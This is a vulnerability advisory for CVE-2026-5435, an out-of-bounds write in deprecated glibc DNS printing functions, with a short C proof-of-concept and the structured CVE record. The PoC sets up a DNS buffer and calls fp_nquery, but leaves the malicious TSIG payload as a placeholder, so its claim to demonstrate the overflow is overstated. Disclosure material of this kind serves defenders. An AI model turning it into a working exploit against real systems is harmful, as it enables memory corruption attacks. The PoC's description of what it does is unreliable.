CVE-2026-5435

/* * PoC Code for CVE-2026-5435 * This demonstrates triggering the buffer overflow in vulnerable glibc functions * by crafting a TSIG record that exceeds the buffer limit. */ #include <resolv.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { // Simulate a DNS response buffer containing a malicious TSIG record unsigned char malicious_packet[1024]; memset(malicious_packet, 0, sizeof(malicious_packet)); // Setup a basic DNS header (simplified) HEADER *dns_hdr = (HEADER *)malicious_packet; dns_hdr->id = htons(1234); dns_hdr->qr = 1; // Response dns_hdr->ancount = htons(1); // One answer (the TSIG) // In a real exploit, specific TSIG record bytes would be crafted here // to overflow the buffer used by ns_printrrf/fp_nquery. // This is a placeholder for the actual payload structure. printf("[+] Crafting packet with oversized TSIG record...\n"); // Trigger the vulnerable function // fp_nquery calls ns_printrrf internally FILE *output = fopen("/dev/null", "w"); if (output) { printf("[+] Calling fp_nquery (vulnerable function)...\n"); // This call may cause an out-of-bounds write if the packet is malformed fp_nquery(malicious_packet, sizeof(malicious_packet), output); fclose(output); } return 0; }

{"cve": {"id": "CVE-2026-5435", "sourceIdentifier": "3ff69d7a-14f2-4f67-a097-88dee7810d18", "published": "2026-04-28T13:19:22.290", "lastModified": "2026-05-05T17:38:37.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The deprecated functions ns_printrrf, ns_printrr and fp_nquery in the GNU C Library version 2.2 and newer fail to enforce the caller-supplied buffer length, and can result in an out-of-bounds write when printing TSIG records."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "3ff69d7a-14f2-4f67-a097-88dee7810d18", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2", "matchCriteriaId": "E6240DD2-E366-424F-BFA2-266E17793764"}]}]}], "references": [{"url": "https://inbox.sourceware.org/libc-announce/[email protected]/T/#u", "source": "3ff69d7a-14f2-4f67-a097-88dee7810d18", "tags": ["Third Party Advisory"]}, {"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=34033", "source": "3ff69d7a-14f2-4f67-a097-88dee7810d18", "tags": ["Issue Tracking"]}]}}